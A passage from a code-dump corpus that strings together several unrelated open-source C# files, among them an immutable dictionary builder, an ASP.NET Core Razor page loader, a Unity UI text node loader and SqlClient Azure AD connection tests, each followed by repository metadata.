object to execute factory method var parameters = new object[] { listOfListsOfElements }; var dataSet = new FactoryDataSet(() => invoker.Invoke(parameters), kind, columnCount); dataSource.AddDataSet(dataSet); } #region functionality which cycles through the list of passed parameters and builds Lists-of-Lists of Elements /// <summary> /// Use the Gallio's plumbing to locate Files /// </summary> private XDocument OpenXDocument(string FilePath, ICodeElementInfo codeElement) { using (TextReader reader = new ContentFile(FilePath).OpenTextReader()) { return XDocument.Load(reader); } } /// <param name="codeElement">Gallio parameter passed by PopulateDataSource for identifying assembly manifest</param> /// <summary>List of XElements in the path</summary> private List<List<XElement>> BuildListOfNodeLists(ICodeElementInfo codeElement) { // Build an array of all the Xml Documents in memory int NumberOfCouplets = FileAndXPathCouplets.Length / 2; List<List<XElement>> ListOfNodeLists = new List<List<XElement>>(); for (int Counter = 0; Counter < NumberOfCouplets; Counter++) { // Retreive the next couplet of File and XPath string FilePath = FileAndXPathCouplets[Counter * 2].ToString(); string XPath = FileAndXPathCouplets[Counter * 2 + 1].ToString(); ListOfNodeLists.Add(LoadXPathNodeList(codeElement, FilePath, XPath)); } return ListOfNodeLists; } /// <param name="codeElement">Gallio Code Element for identifying assembly manifest</param> /// <param name="FilePath"></param> /// <param name="XPath">XPath of the one-to-many nodes</param> /// <returns>List of XElements in the path</returns> private List<XElement> LoadXPathNodeList(ICodeElementInfo codeElement, string FilePath, string XPath) { XDocument xdocument = OpenXDocument(FilePath, codeElement); List<XNode> XPathNodeList = xdocument.XPathSelectElements(XPath).ToList<XNode>(); // Are any of the child nodes not XElements..? if (XPathNodeList.Any<XNode>(x => x.GetType() != typeof(XElement))) { throw new ArgumentException("only Element nodes are allowed in the XPath"); } return XPathNodeList.Cast<XElement>().ToList<XElement>(); } #endregion } }
41.116162
125
0.646604
[ "ECL-2.0", "Apache-2.0" ]
citizenmatt/gallio
src/MbUnit/MbUnit40/Framework/XmlDataObjectCartesianAttribute.cs
8,143
C#
/* * Copyright (c) 2020 * All rights reserved. * * 文件名称:TextNode.cs * 摘 要: * * 当前版本:1.0 * 作 者:oscar * 创建日期:2020/9/21 10:28:39 */ using LitJson; using System; using System.Collections.Generic; using UnityEditor; using UnityEngine; namespace ThunderEditor { internal class TextNode:UINode { public string textContents; public int textSize; public Font textFont; public Color textColor; public TextNode(string path, List<string> assetPathList, List<FontItem> fonts, JsonData info) : base(path, assetPathList, fonts, info) { } protected override void Load(List<FontItem> fonts, JsonData info) { base.Load(fonts, info); textContents = options["textContents"].ValueAsString(); textSize = options["textSize"].ValueAsInt(); string value = options["textFont"].ValueAsString(); if(null != fonts.Find(p => p.Name == value)) { textFont = fonts.Find(p => p.Name == value).Font; } else { textFont = fonts[0].Font; } if (null == textFont) { textFont = fonts[0].Font; } textColor = new Color(options["textColor"]["red"].ValueAsInt() * 1.0f / 255f, options["textColor"]["green"].ValueAsInt() * 1.0f / 255f, options["textColor"]["blue"].ValueAsInt() * 1.0f / 255f, opacity); } } }
28.222222
215
0.543963
[ "MIT" ]
zhengOscar/Json2UGUI
Assets/Editor/Thunder/Node/TextNode.cs
1,568
C#
using System.Collections.Generic; using Newtonsoft.Json; namespace EZNEW.DataValidation.Configuration { /// <summary> /// Property validation rule /// </summary> public class PropertyRule { /// <summary> /// Gets or sets the property name /// </summary> [JsonProperty(PropertyName = "name")] public string Name { get; set; } /// <summary> /// Gets or sets the rules /// </summary> [JsonProperty(PropertyName = "rules")] public List<ValidatorRule> Rules { get; set; } } }
24.083333
54
0.574394
[ "MIT" ]
Jafic/EZNEW
EZNEW/DataValidation/Configuration/PropertyRule.cs
580
C#
#if !NET45PLUS // Copyright (c) Microsoft. All rights reserved. // Licensed under the MIT license. See LICENSE file in the project root for full license information. using System.Collections.Generic; using System.Diagnostics; using System.Diagnostics.CodeAnalysis; using System.Diagnostics.Contracts; using Validation; namespace System.Collections.Immutable { /// <content> /// Contains the inner <see cref="ImmutableDictionary{TKey, TValue}.Builder"/> class. /// </content> [SuppressMessage("Microsoft.Naming", "CA1710:IdentifiersShouldHaveCorrectSuffix", Justification = "Ignored")] public sealed partial class ImmutableDictionary<TKey, TValue> { /// <summary> /// A dictionary that mutates with little or no memory allocations, /// can produce and/or build on immutable dictionary instances very efficiently. /// </summary> /// <remarks> /// <para> /// While <see cref="ImmutableDictionary{TKey, TValue}.AddRange(IEnumerable{KeyValuePair{TKey, TValue}})"/> /// and other bulk change methods already provide fast bulk change operations on the collection, this class allows /// multiple combinations of changes to be made to a set with equal efficiency. /// </para> /// <para> /// Instance members of this class are <em>not</em> thread-safe. /// </para> /// </remarks> [SuppressMessage("Microsoft.Design", "CA1034:NestedTypesShouldNotBeVisible", Justification = "Ignored")] [SuppressMessage("Microsoft.Naming", "CA1710:IdentifiersShouldHaveCorrectSuffix", Justification = "Ignored")] [DebuggerDisplay("Count = {Count}")] [DebuggerTypeProxy(typeof(ImmutableDictionaryBuilderDebuggerProxy<,>))] public sealed class Builder : IDictionary<TKey, TValue>, IReadOnlyDictionary<TKey, TValue>, IDictionary { /// <summary> /// The root of the binary tree that stores the collection. Contents are typically not entirely frozen. /// </summary> private SortedInt32KeyNode<HashBucket> _root = SortedInt32KeyNode<HashBucket>.EmptyNode; /// <summary> /// The comparers. /// </summary> private Comparers _comparers; /// <summary> /// The number of elements in this collection. /// </summary> private int _count; /// <summary> /// Caches an immutable instance that represents the current state of the collection. /// </summary> /// <value>Null if no immutable view has been created for the current version.</value> private ImmutableDictionary<TKey, TValue> _immutable; /// <summary> /// A number that increments every time the builder changes its contents. /// </summary> private int _version; /// <summary> /// The object callers may use to synchronize access to this collection. /// </summary> private object _syncRoot; /// <summary> /// Initializes a new instance of the <see cref="ImmutableDictionary{TKey, TValue}.Builder"/> class. /// </summary> /// <param name="map">The map that serves as the basis for this Builder.</param> internal Builder(ImmutableDictionary<TKey, TValue> map) { Requires.NotNull(map, "map"); _root = map._root; _count = map._count; _comparers = map._comparers; _immutable = map; } /// <summary> /// Gets or sets the key comparer. /// </summary> /// <value> /// The key comparer. /// </value> public IEqualityComparer<TKey> KeyComparer { get { return _comparers.KeyComparer; } set { Requires.NotNull(value, "value"); if (value != this.KeyComparer) { var comparers = Comparers.Get(value, this.ValueComparer); var input = new MutationInput(SortedInt32KeyNode<HashBucket>.EmptyNode, comparers, 0); var result = ImmutableDictionary<TKey, TValue>.AddRange(this, input); _immutable = null; _comparers = comparers; _count = result.CountAdjustment; // offset from 0 this.Root = result.Root; } } } /// <summary> /// Gets or sets the value comparer. /// </summary> /// <value> /// The value comparer. /// </value> public IEqualityComparer<TValue> ValueComparer { get { return _comparers.ValueComparer; } set { Requires.NotNull(value, "value"); if (value != this.ValueComparer) { // When the key comparer is the same but the value comparer is different, we don't need a whole new tree // because the structure of the tree does not depend on the value comparer. // We just need a new root node to store the new value comparer. _comparers = _comparers.WithValueComparer(value); _immutable = null; // invalidate cached immutable } } } #region IDictionary<TKey, TValue> Properties /// <summary> /// Gets the number of elements contained in the <see cref="ICollection{T}"/>. /// </summary> /// <returns>The number of elements contained in the <see cref="ICollection{T}"/>.</returns> public int Count { get { return _count; } } /// <summary> /// Gets a value indicating whether the <see cref="ICollection{T}"/> is read-only. /// </summary> /// <returns>true if the <see cref="ICollection{T}"/> is read-only; otherwise, false.</returns> bool ICollection<KeyValuePair<TKey, TValue>>.IsReadOnly { get { return false; } } /// <summary> /// See <see cref="IReadOnlyDictionary{TKey, TValue}"/> /// </summary> public IEnumerable<TKey> Keys { get { foreach (KeyValuePair<TKey, TValue> item in this) { yield return item.Key; } } } /// <summary> /// Gets an <see cref="ICollection{T}"/> containing the keys of the <see cref="IDictionary{TKey, TValue}"/>. /// </summary> /// <returns>An <see cref="ICollection{T}"/> containing the keys of the object that implements <see cref="IDictionary{TKey, TValue}"/>.</returns> ICollection<TKey> IDictionary<TKey, TValue>.Keys { get { return this.Keys.ToArray(this.Count); } } /// <summary> /// See <see cref="IReadOnlyDictionary{TKey, TValue}"/> /// </summary> public IEnumerable<TValue> Values { get { foreach (KeyValuePair<TKey, TValue> item in this) { yield return item.Value; } } } /// <summary> /// Gets an <see cref="ICollection{T}"/> containing the values in the <see cref="IDictionary{TKey, TValue}"/>. /// </summary> /// <returns>An <see cref="ICollection{T}"/> containing the values in the object that implements <see cref="IDictionary{TKey, TValue}"/>.</returns> ICollection<TValue> IDictionary<TKey, TValue>.Values { get { return this.Values.ToArray(this.Count); } } #endregion #region IDictionary Properties /// <summary> /// Gets a value indicating whether the <see cref="IDictionary"/> object has a fixed size. /// </summary> /// <returns>true if the <see cref="IDictionary"/> object has a fixed size; otherwise, false.</returns> bool IDictionary.IsFixedSize { get { return false; } } /// <summary> /// Gets a value indicating whether the <see cref="ICollection{T}"/> is read-only. /// </summary> /// <returns>true if the <see cref="ICollection{T}"/> is read-only; otherwise, false. /// </returns> bool IDictionary.IsReadOnly { get { return false; } } /// <summary> /// Gets an <see cref="ICollection{T}"/> containing the keys of the <see cref="IDictionary{TKey, TValue}"/>. /// </summary> /// <returns> /// An <see cref="ICollection{T}"/> containing the keys of the object that implements <see cref="IDictionary{TKey, TValue}"/>. /// </returns> ICollection IDictionary.Keys { get { return this.Keys.ToArray(this.Count); } } /// <summary> /// Gets an <see cref="ICollection{T}"/> containing the values in the <see cref="IDictionary{TKey, TValue}"/>. /// </summary> /// <returns> /// An <see cref="ICollection{T}"/> containing the values in the object that implements <see cref="IDictionary{TKey, TValue}"/>. /// </returns> ICollection IDictionary.Values { get { return this.Values.ToArray(this.Count); } } #endregion #region ICollection Properties /// <summary> /// Gets an object that can be used to synchronize access to the <see cref="ICollection"/>. /// </summary> /// <returns>An object that can be used to synchronize access to the <see cref="ICollection"/>.</returns> [DebuggerBrowsable(DebuggerBrowsableState.Never)] object ICollection.SyncRoot { get { if (_syncRoot == null) { Threading.Interlocked.CompareExchange<Object>(ref _syncRoot, new Object(), null); } return _syncRoot; } } /// <summary> /// Gets a value indicating whether access to the <see cref="ICollection"/> is synchronized (thread safe). /// </summary> /// <returns>true if access to the <see cref="ICollection"/> is synchronized (thread safe); otherwise, false.</returns> [DebuggerBrowsable(DebuggerBrowsableState.Never)] bool ICollection.IsSynchronized { get { return false; } } #endregion #region IDictionary Methods /// <summary> /// Adds an element with the provided key and value to the <see cref="IDictionary"/> object. /// </summary> /// <param name="key">The <see cref="object"/> to use as the key of the element to add.</param> /// <param name="value">The <see cref="object"/> to use as the value of the element to add.</param> void IDictionary.Add(object key, object value) { this.Add((TKey)key, (TValue)value); } /// <summary> /// Determines whether the <see cref="IDictionary"/> object contains an element with the specified key. /// </summary> /// <param name="key">The key to locate in the <see cref="IDictionary"/> object.</param> /// <returns> /// true if the <see cref="IDictionary"/> contains an element with the key; otherwise, false. /// </returns> bool IDictionary.Contains(object key) { return this.ContainsKey((TKey)key); } /// <summary> /// Returns an <see cref="IDictionaryEnumerator"/> object for the <see cref="IDictionary"/> object. /// </summary> /// <returns> /// An <see cref="IDictionaryEnumerator"/> object for the <see cref="IDictionary"/> object. /// </returns> /// <exception cref="System.NotImplementedException"></exception> IDictionaryEnumerator IDictionary.GetEnumerator() { return new DictionaryEnumerator<TKey, TValue>(this.GetEnumerator()); } /// <summary> /// Removes the element with the specified key from the <see cref="IDictionary"/> object. /// </summary> /// <param name="key">The key of the element to remove.</param> void IDictionary.Remove(object key) { this.Remove((TKey)key); } /// <summary> /// Gets or sets the element with the specified key. /// </summary> /// <param name="key">The key.</param> /// <returns></returns> object IDictionary.this[object key] { get { return this[(TKey)key]; } set { this[(TKey)key] = (TValue)value; } } #endregion #region ICollection methods /// <summary> /// Copies the elements of the <see cref="ICollection"/> to an <see cref="Array"/>, starting at a particular <see cref="Array"/> index. /// </summary> /// <param name="array">The one-dimensional <see cref="Array"/> that is the destination of the elements copied from <see cref="ICollection"/>. The <see cref="Array"/> must have zero-based indexing.</param> /// <param name="arrayIndex">The zero-based index in <paramref name="array"/> at which copying begins.</param> void ICollection.CopyTo(Array array, int arrayIndex) { Requires.NotNull(array, "array"); Requires.Range(arrayIndex >= 0, "arrayIndex"); Requires.Range(array.Length >= arrayIndex + this.Count, "arrayIndex"); foreach (var item in this) { array.SetValue(new DictionaryEntry(item.Key, item.Value), arrayIndex++); } } #endregion /// <summary> /// Gets the current version of the contents of this builder. /// </summary> internal int Version { get { return _version; } } /// <summary> /// Gets the initial data to pass to a query or mutation method. /// </summary> private MutationInput Origin { get { return new MutationInput(this.Root, _comparers, _count); } } /// <summary> /// Gets or sets the root of this data structure. /// </summary> private SortedInt32KeyNode<HashBucket> Root { get { return _root; } set { // We *always* increment the version number because some mutations // may not create a new value of root, although the existing root // instance may have mutated. _version++; if (_root != value) { _root = value; // Clear any cached value for the immutable view since it is now invalidated. _immutable = null; } } } /// <summary> /// Gets or sets the element with the specified key. /// </summary> /// <returns>The element with the specified key.</returns> /// <exception cref="ArgumentNullException"><paramref name="key"/> is null.</exception> /// <exception cref="KeyNotFoundException">The property is retrieved and <paramref name="key"/> is not found.</exception> /// <exception cref="NotSupportedException">The property is set and the <see cref="IDictionary{TKey, TValue}"/> is read-only.</exception> public TValue this[TKey key] { get { TValue value; if (this.TryGetValue(key, out value)) { return value; } throw new KeyNotFoundException(); } set { var result = ImmutableDictionary<TKey, TValue>.Add(key, value, KeyCollisionBehavior.SetValue, this.Origin); this.Apply(result); } } #region Public Methods /// <summary> /// Adds a sequence of values to this collection. /// </summary> /// <param name="items">The items.</param> [SuppressMessage("Microsoft.Design", "CA1006:DoNotNestGenericTypesInMemberSignatures")] public void AddRange(IEnumerable<KeyValuePair<TKey, TValue>> items) { var result = ImmutableDictionary<TKey, TValue>.AddRange(items, this.Origin); this.Apply(result); } /// <summary> /// Removes any entries from the dictionaries with keys that match those found in the specified sequence. /// </summary> /// <param name="keys">The keys for entries to remove from the dictionary.</param> public void RemoveRange(IEnumerable<TKey> keys) { Requires.NotNull(keys, "keys"); foreach (var key in keys) { this.Remove(key); } } /// <summary> /// Returns an enumerator that iterates through the collection. /// </summary> /// <returns> /// A <see cref="IEnumerator{T}"/> that can be used to iterate through the collection. /// </returns> public Enumerator GetEnumerator() { return new Enumerator(_root, this); } /// <summary> /// Gets the value for a given key if a matching key exists in the dictionary. /// </summary> /// <param name="key">The key to search for.</param> /// <returns>The value for the key, or the default value of type <typeparamref name="TValue"/> if no matching key was found.</returns> [Pure] public TValue GetValueOrDefault(TKey key) { return this.GetValueOrDefault(key, default(TValue)); } /// <summary> /// Gets the value for a given key if a matching key exists in the dictionary. /// </summary> /// <param name="key">The key to search for.</param> /// <param name="defaultValue">The default value to return if no matching key is found in the dictionary.</param> /// <returns> /// The value for the key, or <paramref name="defaultValue"/> if no matching key was found. /// </returns> [Pure] public TValue GetValueOrDefault(TKey key, TValue defaultValue) { Requires.NotNullAllowStructs(key, "key"); TValue value; if (this.TryGetValue(key, out value)) { return value; } return defaultValue; } /// <summary> /// Creates an immutable dictionary based on the contents of this instance. /// </summary> /// <returns>An immutable map.</returns> /// <remarks> /// This method is an O(n) operation, and approaches O(1) time as the number of /// actual mutations to the set since the last call to this method approaches 0. /// </remarks> public ImmutableDictionary<TKey, TValue> ToImmutable() { // Creating an instance of ImmutableSortedMap<T> with our root node automatically freezes our tree, // ensuring that the returned instance is immutable. Any further mutations made to this builder // will clone (and unfreeze) the spine of modified nodes until the next time this method is invoked. if (_immutable == null) { _immutable = ImmutableDictionary<TKey, TValue>.Wrap(_root, _comparers, _count); } return _immutable; } #endregion #region IDictionary<TKey, TValue> Members /// <summary> /// Adds an element with the provided key and value to the <see cref="IDictionary{TKey, TValue}"/>. /// </summary> /// <param name="key">The object to use as the key of the element to add.</param> /// <param name="value">The object to use as the value of the element to add.</param> /// <exception cref="ArgumentNullException"><paramref name="key"/> is null.</exception> /// <exception cref="ArgumentException">An element with the same key already exists in the <see cref="IDictionary{TKey, TValue}"/>.</exception> /// <exception cref="NotSupportedException">The <see cref="IDictionary{TKey, TValue}"/> is read-only.</exception> public void Add(TKey key, TValue value) { var result = ImmutableDictionary<TKey, TValue>.Add(key, value, KeyCollisionBehavior.ThrowIfValueDifferent, this.Origin); this.Apply(result); } /// <summary> /// Determines whether the <see cref="IDictionary{TKey, TValue}"/> contains an element with the specified key. /// </summary> /// <param name="key">The key to locate in the <see cref="IDictionary{TKey, TValue}"/>.</param> /// <returns> /// true if the <see cref="IDictionary{TKey, TValue}"/> contains an element with the key; otherwise, false. /// </returns> /// <exception cref="ArgumentNullException"><paramref name="key"/> is null.</exception> public bool ContainsKey(TKey key) { return ImmutableDictionary<TKey, TValue>.ContainsKey(key, this.Origin); } /// <summary> /// Determines whether the <see cref="ImmutableDictionary{TKey, TValue}"/> /// contains an element with the specified value. /// </summary> /// <param name="value"> /// The value to locate in the <see cref="ImmutableDictionary{TKey, TValue}"/>. /// The value can be null for reference types. /// </param> /// <returns> /// true if the <see cref="ImmutableDictionary{TKey, TValue}"/> contains /// an element with the specified value; otherwise, false. /// </returns> [Pure] public bool ContainsValue(TValue value) { foreach (KeyValuePair<TKey, TValue> item in this) { if (this.ValueComparer.Equals(value, item.Value)) { return true; } } return false; } /// <summary> /// Removes the element with the specified key from the <see cref="IDictionary{TKey, TValue}"/>. /// </summary> /// <param name="key">The key of the element to remove.</param> /// <returns> /// true if the element is successfully removed; otherwise, false. This method also returns false if <paramref name="key"/> was not found in the original <see cref="IDictionary{TKey, TValue}"/>. /// </returns> /// <exception cref="ArgumentNullException"><paramref name="key"/> is null.</exception> /// /// <exception cref="NotSupportedException">The <see cref="IDictionary{TKey, TValue}"/> is read-only.</exception> public bool Remove(TKey key) { var result = ImmutableDictionary<TKey, TValue>.Remove(key, this.Origin); return this.Apply(result); } /// <summary> /// Gets the value associated with the specified key. /// </summary> /// <param name="key">The key whose value to get.</param> /// <param name="value">When this method returns, the value associated with the specified key, if the key is found; otherwise, the default value of the type <typeparamref name="TValue"/>. This parameter is passed uninitialized.</param> /// <returns> /// true if the object that implements <see cref="IDictionary{TKey, TValue}"/> contains an element with the specified key; otherwise, false. /// </returns> /// <exception cref="ArgumentNullException"><paramref name="key"/> is null.</exception> public bool TryGetValue(TKey key, out TValue value) { return ImmutableDictionary<TKey, TValue>.TryGetValue(key, this.Origin, out value); } /// <summary> /// See the <see cref="IImmutableDictionary{TKey, TValue}"/> interface. /// </summary> public bool TryGetKey(TKey equalKey, out TKey actualKey) { return ImmutableDictionary<TKey, TValue>.TryGetKey(equalKey, this.Origin, out actualKey); } /// <summary> /// Adds an item to the <see cref="ICollection{T}"/>. /// </summary> /// <param name="item">The object to add to the <see cref="ICollection{T}"/>.</param> /// <exception cref="NotSupportedException">The <see cref="ICollection{T}"/> is read-only.</exception> public void Add(KeyValuePair<TKey, TValue> item) { this.Add(item.Key, item.Value); } /// <summary> /// Removes all items from the <see cref="ICollection{T}"/>. /// </summary> /// <exception cref="NotSupportedException">The <see cref="ICollection{T}"/> is read-only. </exception> public void Clear() { this.Root = SortedInt32KeyNode<HashBucket>.EmptyNode; _count = 0; } /// <summary> /// Determines whether the <see cref="ICollection{T}"/> contains a specific value. /// </summary> /// <param name="item">The object to locate in the <see cref="ICollection{T}"/>.</param> /// <returns> /// true if <paramref name="item"/> is found in the <see cref="ICollection{T}"/>; otherwise, false. /// </returns> public bool Contains(KeyValuePair<TKey, TValue> item) { return ImmutableDictionary<TKey, TValue>.Contains(item, this.Origin); } /// <summary> /// See the <see cref="ICollection{T}"/> interface. /// </summary> void ICollection<KeyValuePair<TKey, TValue>>.CopyTo(KeyValuePair<TKey, TValue>[] array, int arrayIndex) { Requires.NotNull(array, "array"); foreach (var item in this) { array[arrayIndex++] = item; } } #endregion #region ICollection<KeyValuePair<TKey, TValue>> Members /// <summary> /// Removes the first occurrence of a specific object from the <see cref="ICollection{T}"/>. /// </summary> /// <param name="item">The object to remove from the <see cref="ICollection{T}"/>.</param> /// <returns> /// true if <paramref name="item"/> was successfully removed from the <see cref="ICollection{T}"/>; otherwise, false. This method also returns false if <paramref name="item"/> is not found in the original <see cref="ICollection{T}"/>. /// </returns> /// <exception cref="NotSupportedException">The <see cref="ICollection{T}"/> is read-only.</exception> public bool Remove(KeyValuePair<TKey, TValue> item) { // Before removing based on the key, check that the key (if it exists) has the value given in the parameter as well. if (this.Contains(item)) { return this.Remove(item.Key); } return false; } #endregion #region IEnumerator<T> methods /// <summary> /// Returns an enumerator that iterates through the collection. /// </summary> /// <returns> /// A <see cref="IEnumerator{T}"/> that can be used to iterate through the collection. /// </returns> IEnumerator<KeyValuePair<TKey, TValue>> IEnumerable<KeyValuePair<TKey, TValue>>.GetEnumerator() { return this.GetEnumerator(); } /// <summary> /// Returns an enumerator that iterates through a collection. /// </summary> /// <returns> /// An <see cref="IEnumerator"/> object that can be used to iterate through the collection. /// </returns> IEnumerator IEnumerable.GetEnumerator() { return this.GetEnumerator(); } #endregion /// <summary> /// Applies the result of some mutation operation to this instance. /// </summary> /// <param name="result">The result.</param> private bool Apply(MutationResult result) { this.Root = result.Root; _count += result.CountAdjustment; return result.CountAdjustment != 0; } } } /// <summary> /// A simple view of the immutable collection that the debugger can show to the developer. /// </summary> internal class ImmutableDictionaryBuilderDebuggerProxy<TKey, TValue> { /// <summary> /// The collection to be enumerated. /// </summary> private readonly ImmutableDictionary<TKey, TValue>.Builder _map; /// <summary> /// The simple view of the collection. /// </summary> private KeyValuePair<TKey, TValue>[] _contents; /// <summary> /// Initializes a new instance of the <see cref="ImmutableDictionaryBuilderDebuggerProxy{TKey, TValue}"/> class. /// </summary> /// <param name="map">The collection to display in the debugger</param> public ImmutableDictionaryBuilderDebuggerProxy(ImmutableDictionary<TKey, TValue>.Builder map) { Requires.NotNull(map, "map"); _map = map; } /// <summary> /// Gets a simple debugger-viewable collection. /// </summary> [DebuggerBrowsable(DebuggerBrowsableState.RootHidden)] public KeyValuePair<TKey, TValue>[] Contents { get { if (_contents == null) { _contents = _map.ToArray(_map.Count); } return _contents; } } } } #endif
41.812903
247
0.521987
[ "MIT" ]
mihailik/dotnet-collections
System.Collections.Immutable/src/System/Collections/Immutable/ImmutableDictionary`2+Builder.cs
32,405
C#
using Microsoft; using System; using System.Windows.Media; namespace DGP.Genshin.DataModel.Helper { public static class StarHelper { private const string star1Url = @"https://genshin.honeyhunterworld.com/img/back/item/1star.png"; private const string star2Url = @"https://genshin.honeyhunterworld.com/img/back/item/2star.png"; private const string star3Url = @"https://genshin.honeyhunterworld.com/img/back/item/3star.png"; private const string star4Url = @"https://genshin.honeyhunterworld.com/img/back/item/4star.png"; private const string star5Url = @"https://genshin.honeyhunterworld.com/img/back/item/5star.png"; public static string FromInt32Rank(int rank) { return rank switch { 1 => star1Url, 2 => star2Url, 3 => star3Url, 4 => star4Url, 5 or 105 => star5Url, _ => throw Assumes.NotReachable() }; } public static int ToInt32Rank(this string? starurl) { return starurl is null ? 1 : int.Parse(starurl[51].ToString()); } public static bool IsRankAs(this string? starurl, int rank) { return starurl.ToInt32Rank() == rank; } public static SolidColorBrush? ToSolid(int rank) { Color color = rank switch { 1 => Color.FromRgb(114, 119, 139), 2 => Color.FromRgb(42, 143, 114), 3 => Color.FromRgb(81, 128, 203), 4 => Color.FromRgb(161, 86, 224), 5 or 105 => Color.FromRgb(188, 105, 50), _ => Color.FromRgb(114, 119, 139), }; return new SolidColorBrush(color); } public static SolidColorBrush? ToSolid(string? starurl) { return starurl is null ? null : ToSolid(ToInt32Rank(starurl)); } public static Uri? ToUri(int rank) { string? rankUrl = FromInt32Rank(rank); return rankUrl is null ? null : new Uri(rankUrl); } } }
33.6875
104
0.55334
[ "MIT" ]
CzHUV/Snap.Genshin
DGP.Genshin/DataModel/Helper/StarHelper.cs
2,158
C#
// Copyright (c) .NET Foundation. All rights reserved. // Licensed under the Apache License, Version 2.0. See License.txt in the project root for license information. using System; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; using Microsoft.AspNetCore.Builder; using Microsoft.AspNetCore.Http; using Microsoft.AspNetCore.Mvc.ApplicationModels; using Microsoft.AspNetCore.Mvc.Razor.Compilation; using Microsoft.AspNetCore.Mvc.Routing; using Microsoft.Extensions.Options; namespace Microsoft.AspNetCore.Mvc.RazorPages.Infrastructure { internal class DefaultPageLoader : PageLoader { private readonly IViewCompilerProvider _viewCompilerProvider; private readonly CompiledPageActionDescriptorFactory _compiledPageActionDescriptorFactory; private readonly ActionEndpointFactory _endpointFactory; public DefaultPageLoader( IEnumerable<IPageApplicationModelProvider> applicationModelProviders, IViewCompilerProvider viewCompilerProvider, ActionEndpointFactory endpointFactory, IOptions<RazorPagesOptions> pageOptions, IOptions<MvcOptions> mvcOptions ) { _viewCompilerProvider = viewCompilerProvider; _endpointFactory = endpointFactory; _compiledPageActionDescriptorFactory = new CompiledPageActionDescriptorFactory( applicationModelProviders, mvcOptions.Value, pageOptions.Value ); } private IViewCompiler Compiler => _viewCompilerProvider.GetCompiler(); [Obsolete] public override Task<CompiledPageActionDescriptor> LoadAsync( PageActionDescriptor actionDescriptor ) => LoadAsync(actionDescriptor, EndpointMetadataCollection.Empty); public override Task<CompiledPageActionDescriptor> LoadAsync( PageActionDescriptor actionDescriptor, EndpointMetadataCollection endpointMetadata ) { if (actionDescriptor == null) { throw new ArgumentNullException(nameof(actionDescriptor)); } var task = actionDescriptor.CompiledPageActionDescriptorTask; if (task != null) { return task; } return actionDescriptor.CompiledPageActionDescriptorTask = LoadAsyncCore( actionDescriptor, endpointMetadata ); } private async Task<CompiledPageActionDescriptor> LoadAsyncCore( PageActionDescriptor actionDescriptor, EndpointMetadataCollection endpointMetadata ) { var viewDescriptor = await Compiler.CompileAsync(actionDescriptor.RelativePath); var compiled = _compiledPageActionDescriptorFactory.CreateCompiledDescriptor( actionDescriptor, viewDescriptor ); var endpoints = new List<Endpoint>(); _endpointFactory.AddEndpoints( endpoints, routeNames: new HashSet<string>(StringComparer.OrdinalIgnoreCase), action: compiled, routes: Array.Empty<ConventionalRouteEntry>(), conventions: new Action<EndpointBuilder>[] { b => { // Copy Endpoint metadata for PageActionActionDescriptor to the compiled one. // This is particularly important for the runtime compiled scenario where endpoint metadata is added // to the PageActionDescriptor, which needs to be accounted for when constructing the // CompiledPageActionDescriptor as part of the one of the many matcher policies. // Metadata from PageActionDescriptor is less significant than the one discovered from the compiled type. // Consequently, we'll insert it at the beginning. for (var i = endpointMetadata.Count - 1; i >= 0; i--) { b.Metadata.Insert(0, endpointMetadata[i]); } }, }, createInertEndpoints: false ); // In some test scenarios there's no route so the endpoint isn't created. This is fine because // it won't happen for real. compiled.Endpoint = endpoints.SingleOrDefault(); return compiled; } } }
40.482456
129
0.627736
[ "Apache-2.0" ]
belav/aspnetcore
src/Mvc/Mvc.RazorPages/src/Infrastructure/DefaultPageLoader.cs
4,615
C#
// Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. // See the LICENSE file in the project root for more information. using Xunit; using System; namespace Microsoft.Data.SqlClient.ManualTesting.Tests { public class AADConnectionsTest { private static void ConnectAndDisconnect(string connectionString, SqlCredential credential = null) { using (SqlConnection conn = new SqlConnection(connectionString)) { if (credential != null) { conn.Credential = credential; } conn.Open(); } } private static string RemoveKeysInConnStr(string connStr, string[] keysToRemove) { // tokenize connection string and remove input keys. string res = ""; string[] keys = connStr.Split(';'); foreach (var key in keys) { if (!string.IsNullOrEmpty(key.Trim())) { bool removeKey = false; foreach (var keyToRemove in keysToRemove) { if (key.Trim().ToLower().StartsWith(keyToRemove.Trim().ToLower())) { removeKey = true; break; } } if (!removeKey) { res += key + ";"; } } } return res; } private static string RetrieveValueFromConnStr(string connStr, string keyword) { // tokenize connection string and retrieve value for a specific key. string res = ""; string[] keys = connStr.Split(';'); foreach (var key in keys) { if (!string.IsNullOrEmpty(key.Trim())) { if (key.Trim().ToLower().StartsWith(keyword.Trim().ToLower())) { res = key.Substring(key.IndexOf('=') + 1).Trim(); break; } } } return res; } private static bool IsAccessTokenSetup() => DataTestUtility.IsAccessTokenSetup(); private static bool IsAADConnStringsSetup() => DataTestUtility.IsAADPasswordConnStrSetup(); [ConditionalFact(nameof(IsAccessTokenSetup), nameof(IsAADConnStringsSetup))] public static void AccessTokenTest() { using (SqlConnection connection = new SqlConnection(DataTestUtility.TCPConnectionString)) { connection.AccessToken = DataTestUtility.GetAccessToken(); connection.Open(); } } [ConditionalFact(nameof(IsAccessTokenSetup), nameof(IsAADConnStringsSetup))] public static void InvalidAccessTokenTest() { // Remove cred info and add invalid token string[] credKeys = { "User ID", "Password", "UID", "PWD", "Authentication" }; string connStr = RemoveKeysInConnStr(DataTestUtility.AADPasswordConnectionString, credKeys); using (SqlConnection connection = new SqlConnection(connStr)) { connection.AccessToken = DataTestUtility.GetAccessToken() + "abc"; SqlException e = Assert.Throws<SqlException>(() => connection.Open()); string expectedMessage = "Login failed for user"; Assert.Contains(expectedMessage, e.Message); } } [ConditionalFact(nameof(IsAccessTokenSetup), nameof(IsAADConnStringsSetup))] public static void AccessTokenWithAuthType() { // Remove cred info and add invalid token string[] credKeys = { "User ID", "Password", "UID", "PWD" }; string connStr = RemoveKeysInConnStr(DataTestUtility.AADPasswordConnectionString, credKeys); using (SqlConnection connection = new SqlConnection(connStr)) { InvalidOperationException e = Assert.Throws<InvalidOperationException>(() => connection.AccessToken = DataTestUtility.GetAccessToken()); string expectedMessage = "Cannot set the AccessToken property if 'Authentication' has been specified in the connection string."; Assert.Contains(expectedMessage, e.Message); } } [ConditionalFact(nameof(IsAccessTokenSetup), nameof(IsAADConnStringsSetup))] public static void AccessTokenWithCred() { // Remove cred info and add invalid token string[] credKeys = { "Authentication" }; string connStr = RemoveKeysInConnStr(DataTestUtility.AADPasswordConnectionString, credKeys); using (SqlConnection connection = new SqlConnection(connStr)) { 